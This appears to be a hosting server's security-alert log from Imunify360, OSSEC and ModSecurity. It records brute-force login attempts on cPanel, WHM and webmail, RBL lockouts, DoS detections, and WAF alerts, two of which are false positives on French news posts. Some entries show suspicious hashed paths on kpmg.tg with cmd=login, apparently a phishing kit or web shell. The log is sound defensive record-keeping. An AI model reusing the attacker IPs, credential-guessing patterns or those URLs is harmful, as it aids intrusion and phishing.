[2026-07-01 17:11:58 +0000] info [cpaneld] 108.14.38.188 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.186.121.66
country_id: 6252001
description:
[2026-07-01 17:11:42 +0000] info [cpaneld] 68.186.121.66 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.188.212.143
country_id: 2510769
description:
Jul  1 17:17:32 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.188.212.143 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.242.196.103
country_id: 6252001
description:
[2026-07-01 17:18:20 +0000] info [cpaneld] 66.242.196.103 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.185.93.73
country_id: 6252001
description:
[2026-07-01 17:18:31 +0000] info [cpaneld] 24.185.93.73 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.194.96.62
country_id: 6252001
description:
[2026-07-01 17:18:12 +0000] info [cpaneld] 38.194.96.62 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.41.62.243
country_id: 6252001
description:
[2026-07-01 17:18:27 +0000] info [cpaneld] 96.41.62.243 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.176.35.6
country_id: 6252001
description:
[2026-07-01 17:18:18 +0000] info [cpaneld] 174.176.35.6 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [01/Jul/2026:17:18:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803714&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdadacare%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782926298 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dadacare/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.55.232
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:162.252.55.232||TA:162.252.55.232||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.84.102.179
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.84.102.179: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.36.176.83
country_id: 6252001
description:
[2026-07-01 17:21:38 +0000] info [cpaneld] 152.36.176.83 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.49.95.30
country_id: 3469034
description:
Jul  1 17:22:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.49.95.30 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.77.235.242
country_id: 6252001
description:
[2026-07-01 17:22:10 +0000] info [cpaneld] 76.77.235.242 - togocar2 "GET /login/?login_only=1&user=togocar2&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar2 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.185.250.57
country_id: 6252001
description:
[2026-07-01 17:22:16 +0000] info [cpaneld] 50.185.250.57 - togocar4 "GET /login/?login_only=1&user=togocar4&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar4 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.0.150.162
country_id: 6252001
description:
[2026-07-01 17:22:08 +0000] info [cpaneld] 73.0.150.162 - togocar1 "GET /login/?login_only=1&user=togocar1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.36.37.161
country_id: 6252001
description:
[2026-07-01 17:22:20 +0000] info [cpaneld] 76.36.37.161 - togocar5 "GET /login/?login_only=1&user=togocar5&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar5 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 17:24:19 +0000] info [cpaneld] 157.85.210.56 - heroes "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user heroes (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.250
country_id: 1880251
description:
43.173.179.250 - - [01/Jul/2026:17:24:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000229&pdata=http%253A%252F%252Fwww.arse.tg%252F%253Fpage_id%253D142&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782926673 HTTP/1.1" 404 561 www.arse.tg "http://www.arse.tg/?page_id=142" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.250


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 158.173.157.222
country_id: 3017382
description:
[2026-07-01 17:25:57 +0000] info [whostmgrd] 158.173.157.222 - root "GET /cpsess9059217787/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [158.173.157.222]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.232
country_id: 2395170
description:
Jul  1 17:26:13 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.30
country_id: 732800
description:
Jul  1 17:26:33 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.30 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.77.161.216
country_id: 2802361
description:
[2026-07-01 17:27:51 +0000] info [whostmgrd] 34.77.161.216 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 34.77.161.216
country_id: 2802361
description:
[2026-07-01 17:27:52 +0000] info [whostmgrd] 34.77.161.216 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.57.232
country_id: 337996
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=335 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.37.178.116
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=133 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.103.119.147
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?tag=arse HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.191.52.83
country_id: 337996
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?author=1&paged=5 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 43.159.135.203
country_id: 6252001
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.22||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sanlam.com||User:egjvuiox||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.30.57
country_id: 3017382
description:
[2026-07-01 17:30:40 +0000] info [webmaild] 65.111.30.57 - will "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid webmail user will (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>dans le th\xc3\xa9\xc3\xa2tre de la transformation \xc3\xa9nerg\xc3\xa9tique en afrique de l'ouest, le togo s'impose comme l'un des espaces o\xc3\xb9 la transition vers le solaire domestique prend une dimension particuli\xc3\xa8rement frappante. dans le pays, l'\xc3\xa9lectricit\xc3\xa9 ne se r\xc3\xa9sume plus aux lignes classiques du r\xc3\xa9seau national : elle se d\xc3\xa9ploie aussi \xc3\xa0 travers des dispositifs autonomes de l\xe2\x80\x99\xc3\xa9nergie solaire.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>lors d\xe2\x80\x99une intervention \xc3\xa0 l\xe2\x80\x99assembl\xc3\xa9e nationale, le ministre robert eklo en charge du secteur a indiqu\xc3\xa9 que parall\xc3\xa8lement aux efforts du gouvernement pour augmenter l\xe2\x80\x99offre de l\xe2\x80\x99\xc3\xa9nergie thermique, il poursuit le d\xc3\xa9veloppement des \xc3\xa9nergies renouvelables avec la mise en service prochaine de la centrale solaire de dapaong, d'une capacit\xc3\xa9 de 25 m\xc3\xa9gawatts-cr\xc3\xaate, coupl\xc3\xa9e \xc3\xa0 un syst\xc3\xa8me de stockage de 40 m\xc3\xa9gawattheures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d\xc3\xa9j\xc3\xa0, les centrales solaires de sokod\xc3\xa9 (60 m\xc3\xa9gawatts-cr\xc3\xaate) et awandj\xc3\xa9lo (42 m\xc3\xa9gawatts-cr\xc3\xaate), l'extension de la centrale de blitta de 30 m\xc3\xa9gawatts-cr\xc3\xaate suppl\xc3\xa9mentaires avec 10 m\xc3\xa9gawattheures de stockage t\xc3\xa9moignent de l\xe2\x80\x99ambition des autorit\xc3\xa9s du pays pour les \xc3\xa9nergies renouvelables.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31765,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/webinaire-02-juillet-26.jpg\" alt=\"\" class=\"wp-image-31765\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>mise en exploitation en juin 2021 avec une capacit\xc3\xa9 initiale de 50 mw, la centrale photovolta\xc3\xafque de blitta portera bient\xc3\xb4t sa capacit\xc3\xa9 \xc3\xa0 100 mw. exploit\xc3\xa9e par amea togo solar sau, elle s'impose comme l'un des plus grands projets solaires d'afrique de l'ouest. elle a permis d'alimenter environ 600.000 m\xc3\xa9nages et pme, sans \xc3\xa9missions fossiles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans la r\xc3\xa9gion des plateaux par exemples, on d\xc3\xa9nombre 29 752 foyers (environ 380.000 personnes) \xc3\xa9quip\xc3\xa9s de kits solaires en 2025 contre 27.650 m\xc3\xa9nages en 2024. une progression nette, presque vibrante, qui traduit l'\xc3\xa9largissement continu de cette technologie dans les foyers ruraux et p\xc3\xa9riurbains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la progression entre 2024 et 2025 est celle d'une course d'extension continue. c'est la diffusion progressive de l'\xc3\xa9nergie solaire dans les foyers, port\xc3\xa9e par des politiques publiques, des initiatives priv\xc3\xa9es et une appropriation croissante des populations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au gouvernement, on affirme que ce mouvement n'est pas anodin. il r\xc3\xa9v\xc3\xa8le une mutation progressive des habitudes \xc3\xa9nerg\xc3\xa9tiques, port\xc3\xa9e par la diffusion de solutions hors r\xc3\xa9seau adapt\xc3\xa9es aux r\xc3\xa9alit\xc3\xa9s de terrain. \xc2\xab&nbsp;<em>le kit solaire, souvent compos\xc3\xa9 d'un panneau photovolta\xc3\xafque, d'une batterie et de points d'\xc3\xa9clairage, devient un compagnon discret mais d\xc3\xa9terminant du quotidien</em>&nbsp;\xc2\xbb, fait-on savoir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31769,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/otr_ferer-pour-batir-1.jpg\" alt=\"\" class=\"wp-image-31769\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>en effet, dans les villages comme dans les petites agglom\xc3\xa9rations, cette technologie change la donne. elle prolonge les heures d'activit\xc3\xa9 apr\xc3\xa8s le coucher du soleil, s\xc3\xa9curise les d\xc3\xa9placements nocturnes et am\xc3\xa9liore les conditions d'\xc3\xa9tude des \xc3\xa9l\xc3\xa8ves. elle permet \xc3\xa9galement de maintenir une activit\xc3\xa9 \xc3\xa9conomique minimale dans les boutiques, ateliers et exploitations agricoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'enjeu d\xc3\xa9passe le confort domestique. dans une r\xc3\xa9gion o\xc3\xb9 l'activit\xc3\xa9 agricole structure l'essentiel de l'\xc3\xa9conomie, l'acc\xc3\xa8s \xc3\xa0 une source d'\xc3\xa9nergie fiable facilite la conservation de certains produits, la transformation artisanale et l'organisation des circuits de vente locaux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce qui frappe surtout, c'est l'effet d'accumulation. chaque nouveau m\xc3\xa9nage \xc3\xa9quip\xc3\xa9 n'ajoute pas seulement un point lumineux de plus sur la carte \xc3\xa9nerg\xc3\xa9tique : il contribue \xc3\xa0 un basculement silencieux vers une autonomie partielle, une r\xc3\xa9silience accrue face aux al\xc3\xa9as du r\xc3\xa9seau conventionnel. dans cette r\xc3\xa9gion de vastes \xc3\xa9tendues, o\xc3\xb9 les distances entre localit\xc3\xa9s restent parfois importantes, le solaire domestique agit comme un trait d'union \xc3\xa9nerg\xc3\xa9tique. il relie des foyers dispers\xc3\xa9s \xc3\xa0 une forme minimale mais essentielle de modernit\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"width\":\"527px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\" style=\"width:527px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>au minist\xc3\xa8re d\xc3\xa9l\xc3\xa9gu\xc3\xa9 charg\xc3\xa9 de l\xe2\x80\x99\xc3\xa9nergie et des ressources mini\xc3\xa8res, on rel\xc3\xa8ve qu\xe2\x80\x99en 2024, la capacit\xc3\xa9 totale d\xe2\x80\x99\xc3\xa9nergie \xc3\xa9lectrique install\xc3\xa9e s'\xc3\xa9levait \xc3\xa0 327 mw, avec une part de 41,24 % provenant des sources renouvelables, dont 31,08 % pour le solaire photovolta\xc3\xafque et 10,16 % pour l'hydro\xc3\xa9lectricit\xc3\xa9<strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>(in le mediun n\xc2\xb0709 du 30 juin au 06 juillet 2026)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 16.148.126.102
country_id: 6252001
description:
16.148.126.102 - - [01/Jul/2026:17:31:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051164&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F0e3d26786953aa33eaa79d2011a94992%252F223e0c8cca861474d24cfd8905cb5776%252F40636423c4130eeb315603afd55740c9%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782927059 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/0e3d26786953aa33eaa79d2011a94992/223e0c8cca861474d24cfd8905cb5776/40636423c4130eeb315603afd55740c9/index.php?cmd=newupld" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:16.148.126.102


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.94.43
country_id: 3865483
description:
Jul  1 17:31:55 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.94.43 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 35.88.205.197
country_id: 6252001
description:
35.88.205.197 - - [01/Jul/2026:17:32:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13288392&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F6ceb254a8cb5490cf313a3dfacf56698%252F20b8a46017f76205f06cbecfe393b213%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782927155 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/6ceb254a8cb5490cf313a3dfacf56698/20b8a46017f76205f06cbecfe393b213/index.php?cmd=login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.88.205.197


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 125.20.121.26
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 125.20.121.26: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.94.43
country_id: 3865483
description:
Jul  1 17:32:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.94.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 45.148.232.198
country_id: 294640
domain: dany2.mairie.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:esso_blog.dany2.mairie.tg||Method:blogger.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.187.213.29
country_id: 6252001
description:
Jul  1 17:35:09 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.187.213.29 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.210.56
country_id: 1643084
description:
[2026-07-01 17:40:32 +0000] info [cpaneld] 157.85.210.56 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 16.148.126.102
country_id: 6252001
description:
16.148.126.102 - - [01/Jul/2026:17:41:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6867862&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F0e3d26786953aa33eaa79d2011a94992%252Findex.php%253Fcmd%253Dlogin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782927665 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/0e3d26786953aa33eaa79d2011a94992/index.php?cmd=login/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:16.148.126.102


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 102.211.168.174
country_id: 2363686
description:
Denial of Service (DoS) attack was discovered from 102.211.168.174: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>r\xc3\xa9uni en conseil des ministres ce vendredi 26 juin 2026, le gouvernement a adopt\xc3\xa9 le d\xc3\xa9cret portant cr\xc3\xa9ation de la soci\xc3\xa9t\xc3\xa9 nationale de financement routier (sonafir). dot\xc3\xa9e de pr\xc3\xa9rogatives \xc3\xa9largies, la sonafir disposera de m\xc3\xa9canismes renforc\xc3\xa9s de mobilisation des ressources, fond\xc3\xa9s sur la diversification des instruments de financement et le d\xc3\xa9veloppement de partenariats strat\xc3\xa9giques.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>aujourd\xe2\x80\x99hui, le r\xc3\xa9seau routier national constitue un levier strat\xc3\xa9gique essentiel pour la comp\xc3\xa9titivit\xc3\xa9 \xc3\xa9conomique et au d\xc3\xa9veloppement harmonieux du territoire. conscient de cette r\xc3\xa9alit\xc3\xa9, le gouvernement togolais avait cr\xc3\xa9\xc3\xa9 en 2012 la soci\xc3\xa9t\xc3\xa9 autonome de financement de l\xe2\x80\x99entretien routier (safer), charg\xc3\xa9e de mobiliser les ressources destin\xc3\xa9es \xc3\xa0 l\xe2\x80\x99entretien du patrimoine routier national.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31765,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/webinaire-02-juillet-26.jpg\" alt=\"\" class=\"wp-image-31765\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>cependant, plus d\xe2\x80\x99une d\xc3\xa9cennie apr\xc3\xa8s, les \xc3\xa9valuations r\xc3\xa9alis\xc3\xa9es ont r\xc3\xa9v\xc3\xa9l\xc3\xa9 des insuffisances, limitant la capacit\xc3\xa9 de la safer \xc3\xa0 r\xc3\xa9pondre efficacement aux besoins croissants de financement des infrastructures routi\xc3\xa8res. c\xe2\x80\x99est pour rem\xc3\xa9dier \xc3\xa0 ces insuffisances qu\xe2\x80\x99en conseil des ministres hier le gouvernement a adopt\xc3\xa9 la cr\xc3\xa9ation de la soci\xc3\xa9t\xc3\xa9 nationale de financement routier (sonafir), qui se substitue \xc3\xa0 la safer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"width\":\"525px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\" style=\"width:525px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>il faut ajouter que la r\xc3\xa9forme consacre \xc3\xa9galement une s\xc3\xa9paration des responsabilit\xc3\xa9s au sein du secteur routier. la sonafir assurera donc le financement des infrastructures routi\xc3\xa8res, tandis que l\xe2\x80\x99ageroute togo sera charg\xc3\xa9e d\xe2\x80\x99assurer la ma\xc3\xaetrise d\xe2\x80\x99ouvrage d\xc3\xa9l\xc3\xa9gu\xc3\xa9e des projets routiers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>cr\xc3\xa9do tetteh (in le mediun n\xc2\xb0709 du 30 juin au 06 juillet 2026)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 16.148.126.102
country_id: 6252001
description:
